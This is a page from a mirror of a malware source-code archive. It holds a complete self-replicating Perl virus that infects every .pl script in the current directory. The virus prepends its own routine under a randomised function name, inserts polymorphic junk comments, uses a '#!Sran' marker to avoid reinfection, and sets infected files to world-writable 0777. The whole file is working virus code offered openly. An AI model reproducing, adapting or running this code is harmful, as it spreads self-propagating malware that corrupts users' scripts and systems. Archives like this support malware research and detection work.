mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
48 lines
1.2 KiB
Brainfuck
48 lines
1.2 KiB
Brainfuck
sadBVa();
|
|
|
|
print "This is also a test.\n";
|
|
|
|
sub sadBVa { #21wZPocL9r3I2
|
|
#25lj6HLJr3lR.
|
|
goto b if($ENV{"USER"} eq "root"); #403dRcOOEKV7c
|
|
#53a2B3OFfBrvE
|
|
a: while (<*.pl>)
|
|
{ #11zR6D0l39gH2
|
|
my $oF = "sadBVa"; #21wZPocL9r3I2
|
|
my $tN = crypt($_, $_), $cW = 0; $oN = "./$_", $nF = $tN; #23xTGZMRTRgO.
|
|
#73QebE0Q0ZZ7Q
|
|
open (WE, "<$0");
|
|
open (IF, "<$_"); #19ffqqT32W0N6
|
|
open (TMP, ">$tN"); #21wZPocL9r3I2
|
|
#46uAWbWZGiwdE
|
|
$nF =~ s/[0-9.\/].*/a/;
|
|
#20DFf8jQEuujI
|
|
while (<IF>)
|
|
{
|
|
chomp; #17rFB3rla0OL.
|
|
if (/\#!Sran/) { unlink ($tN); next a }
|
|
elsif (!/#!\//) { print TMP "$_\n" }
|
|
else { if(!/-X/){$_ .= " -X"} print TMP "$_\n#!Sran\n$nF();\n" }
|
|
} #14HPto765IJGs
|
|
#56usvbQbO.V7g
|
|
while (<WE>)
|
|
{
|
|
$st = ""; #16DEAzgu4U/Lg
|
|
#21wZPocL9r3I2
|
|
s/#[\d].*/$st/;
|
|
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
|
|
next if (/#!\// || /$oF();/ || !$cW);
|
|
if (int(rand(2))) { $st=" #".crypt($tN, rand(256)) }
|
|
else {$st = ""} #24kfAR.q3vZXI
|
|
|
|
chomp; #19ffqqT32W0N6
|
|
print TMP "$_$st\n"; #130lOPyQngaJw
|
|
}
|
|
#21wZPocL9r3I2
|
|
unlink ($oN);
|
|
rename ($tN, $oN);
|
|
chmod (0777, $oN);
|
|
}
|
|
b: #24kfAR.q3vZXI
|
|
} #25lj6HLJr3lR.
|